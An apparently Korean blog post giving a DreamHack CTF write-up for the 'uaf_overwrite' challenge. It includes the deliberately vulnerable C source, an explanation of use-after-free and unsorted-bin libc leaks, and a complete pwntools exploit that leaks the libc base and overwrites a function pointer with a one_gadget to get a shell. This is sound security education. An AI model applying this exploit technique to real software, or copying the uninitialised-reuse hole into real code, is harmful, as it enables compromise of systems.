문제코드
// Name: uaf_overwrite.c
// Compile: gcc -o uaf_overwrite uaf_overwrite.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
struct Human {
char name[16];
int weight;
long age;
};
struct Robot {
char name[16];
int weight;
void (*fptr)();
};
struct Human *human;
struct Robot *robot;
char *custom[10];
int c_idx;
// 초기값 0
void print_name() { printf("Name: %s\n", robot->name); }
void menu() {
printf("1. Human\n");
printf("2. Robot\n");
printf("3. Custom\n");
printf("> ");
}
void human_func() {
int sel;
human = (struct Human *)malloc(sizeof(struct Human));
strcpy(human->name, "Human");
printf("Human Weight: ");
scanf("%d", &human->weight);
printf("Human Age: ");
scanf("%ld", &human->age);
free(human);
}
void robot_func() {
int sel;
robot = (struct Robot *)malloc(sizeof(struct Robot));
strcpy(robot->name, "Robot");
printf("Robot Weight: ");
scanf("%d", &robot->weight);
if (robot->fptr)
robot->fptr();
else
robot->fptr = print_name;
robot->fptr(robot);
free(robot);
}
int custom_func() {
unsigned int size;
unsigned int idx;
if (c_idx > 9) {
printf("Custom FULL!!\n");
return 0;
}
printf("Size: ");
scanf("%d", &size);
if (size >= 0x100) {
custom[c_idx] = malloc(size);
printf("Data: ");
read(0, custom[c_idx], size - 1);
printf("Data: %s\n", custom[c_idx]);
printf("Free idx: ");
scanf("%d", &idx);
if (idx < 10 && custom[idx]) {
free(custom[idx]);
custom[idx] = NULL;
}
}
c_idx++;
}
int main() {
int idx;
char *ptr;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
while (1) {
menu();
scanf("%d", &idx);
switch (idx) {
case 1:
human_func();
break;
case 2:
robot_func();
break;
case 3:
custom_func();
break;
}
}
}
파일 보호기법 확인
모든 보호기법이 다 걸려있다.
따라서 문제 이름 그대로 UAF(User After Free) 를 사용해야 한다.
UAF
Heap 영역에서 할당된 (malloc ) 공간을 free로 영역을 해제하고, 메모리를 다시 할당 시 같은 공간을 재사용 하면서 생기는 취약점임
코드 분석
1. Human, Robot Struct (구조체)는 각각 사이즈는 다음과 같다.
- char name[16] 16byte
- int weight는 일반적으로 4바이트
- long age 또는 void (*fptr)()는 64비트 시스템에서 8바이트 (32비트 시스템에서 4바이트)
2. human_func() 와 robot_func() 함수를 보면 메모리 할당 후 초기화 수행 하지 않음
- 두 구조체의 크기가 같기 때문에 Human 구조체의 age에 onegadget 주소를 넣고, 해제한 후 Robot 구조체를 할당하여
fptr 함수 포인터를 호출하면 UAF 취약점에 의해 쉘이 뜨게 됩니다.
3. robot_func() 함수를 보면 fptr 이 NULL 이 아니면 호출을 해주고 있어, ongadget 을 필터링 없이 실행시킬 수 있음
4. c_idx 는 앞서 선언했던, 전역변수 이고 c_idx++ 해주므로, 총 10번 코드 실행된다고 보면 됨
custom_func() 함수는 size의 크기가 0x100 이상이면 custom[c_idx]에 size만큼의 동적할당을 해주고,
데이터를 입력 받습니다
데이터를 입력 받은 후 coustom[c_idx]에 값을 출력해준다. 이 Data 부분에는
기존에 Unsorted bin을 free 했을 때 남아있던 fd 값이 출력된다.
unsorted bin에 들어간 청크(블록)의 fd와 bk은 main arena의 주소이고, 이 오프셋을 통해 libc 를 구할 수 있다.
여기서 heap의 특징을 이해해 보자
- Main Arena
main arena는 ptmalloc에서 메모리 할당의 주요 영역으로, 프로세스가 사용하는 동적 메모리 할당의 중심지입니다. 여기에는 malloc에 의해 할당된 메모리 청크들이 포함되며, 이 청크들은 다양한 빈(bin)으로 구분되어 관리됩니다.
각 arena는 자신만의 unsorted bin, small bins, large bins 등을 가지고 있으며, 이를 통해 메모리 할당 및 해제 요청을 처리합니다.
FD (Forward Pointer)
- fd 포인터는 현재 청크에서 다음 청크를 가리킵니다. 즉, unsorted bin의 연결 리스트에서 현재 청크 다음에 오는 청크의 시작 주소를 저장합니다.
- unsorted bin 내의 청크가 메모리 할당 요청을 처리할 때, malloc 함수는 fd 포인터를 사용하여 다음 청크를 찾고, 요청된 크기에 맞는 청크를 검색합니다.
BK (Backward Pointer)
- bk 포인터는 현재 청크에서 이전 청크를 가리킵니다. 이는 unsorted bin의 연결 리스트에서 현재 청크 이전에 있는 청크의 시작 주소를 저장합니다.
- bk 포인터는 주로 청크가 unsorted bin에서 제거될 때 사용됩니다. 청크를 unsorted bin에서 제거하려면, 현재 청크의 bk 포인터가 가리키는 이전 청크와 fd 포인터가 가리키는 다음 청크를 서로 연결해야 합니다.
익스플로잇 설계
- Robot.fptr의 값을 one_gadeget의 주소로 덮어서 쉘을 획득하자
- 이를 위해 libc가 매핑된 주소를 먼저 구해야 함
1. 라이브러리 릭
- UAF 취약점을 이용 libc가 매핑된 주소를 구해야함
=> 이를 위해 unsorted bin의 특징 활용
- Unsorted bin에 처음 연결되는 청크는 libc의 특정 주소와 이중 원형 연결 리스트를 형성
unsorted bin에 연결되는 청크의 fd, bk에는libc 내부의 주소가 쓰임,
따라서 unsorted bin에 연결된 청크를 재할당하고, fd나 bk의 값을 읽으면 libc가 매핑된 주소를 계산할 수 있음
- custom_func 함수는 0x100 바이트 이상의 크기를 갖는 청크를 할당하고, 할당된 청크들 중 원하는 청크를 해제 할 수 있는 함수 0x410 이하의 크기를 갖는 청크는 tcache에 먼저 삽입되므로, 이보다 큰 청크를 해제해서 unsorted bin에 연결하고, 이를 재할당하여 값을 읽으면 libc가 매핑된 주소를 계산 할 수 있음
※ 주의할 점 : 해제할 청크가 탑 청크와 맞닿으면 안됨
=> unsorted bin 에 포함되는 청크와 탑 청크는 병합 대상이므로, 이 둘이 맞닿으면 청크가 병합됨, 이를 피하려면 청크 두개를 연속으로 할당하고, 처음 할당한 청크를 해제해야 한다.
2. 함수 포인터 덮어쓰기
human_func를 호출할때 age에 one_gadget 조소를 입력하고, 이어서 robot_func를 호출하면 fptr의 위치에 남아있는 one_gadget을 호출 시킬 수 있음
익스플로잇
1. libc 릭
- 첫번째 청크 1280(0x500) 할당, data : a, Free idx : -1 free() 수행 안함
- 두번째 청크 1280 할당, data : b, Free idx : 0 첫번째 청크 free()
0x555555603290가 첫번째 청크, 0x5555556037a0 가 두번째 청크에 해당 되며, 첫번째 청크의 fd, bk를 보면,
0x7ffff7facce0가 저장되어 있습니다. vmmap 명령어로 살펴보면 0x7ffff7facce0는 libc 영역에 존재하는 주소임을 알 수 있습니다.
따러서 이주 값에 libc가 매핑된 주소를 빼면 오프셋을 구할 수 있습니다.
libc가 매핑 된 주소는 vmmap을 통해 알 수 있음
매핑된 주소 0x7ffff7dd9000
오프셋은
==> 0x1d3ce0
2. exploit 코드
from pwn import *
import warnings
warnings.filterwarnings( 'ignore' )
p = remote("host3.dreamhack.games",21718)
l = ELF('./libc-2.27.so')
arena_offset = l.symbols['__malloc_hook'] + 0x10
def human(weight, age):
p.sendlineafter(">", "1")
p.sendlineafter(": ", str(weight))
p.sendlineafter(": ", str(age))
def robot(weight):
p.sendlineafter(">", "2")
p.sendlineafter(": ", str(weight))
def custom(size, data, idx):
p.sendlineafter(">", "3")
p.sendlineafter(": ", str(size))
p.sendafter(": ", data)
p.sendlineafter(": ", str(idx))
# UAF to calculate the `libc_base`
custom(0x500, "AAAA", 100)
custom(0x500, "AAAA", 100)
custom(0x500, "AAAA", 0)
custom(0x500, "B", 100)
success("main_arena_offset : "+hex(arena_offset))
lb = u64(p.recvline()[:-1].ljust(8, b"\x00")) - 0x3ebc42
og = lb + 0x10a41c
success("libc_base : "+hex(lb))
success("one_gadget : "+hex(og))
# UAF to manipulate `robot->fptr` & get shell
human("1", og)
robot("1")
p.interactive()
'Hacking > DreamHack' 카테고리의 다른 글
arm training v1 (pwn) (0) | 2024.05.07 |
---|---|
no mov (1) | 2024.04.24 |
rev-basic-3 (0) | 2024.04.09 |
What-is-my-ip(5Round CTF) (0) | 2024.03.30 |
02/24 CTF (0) | 2024.02.24 |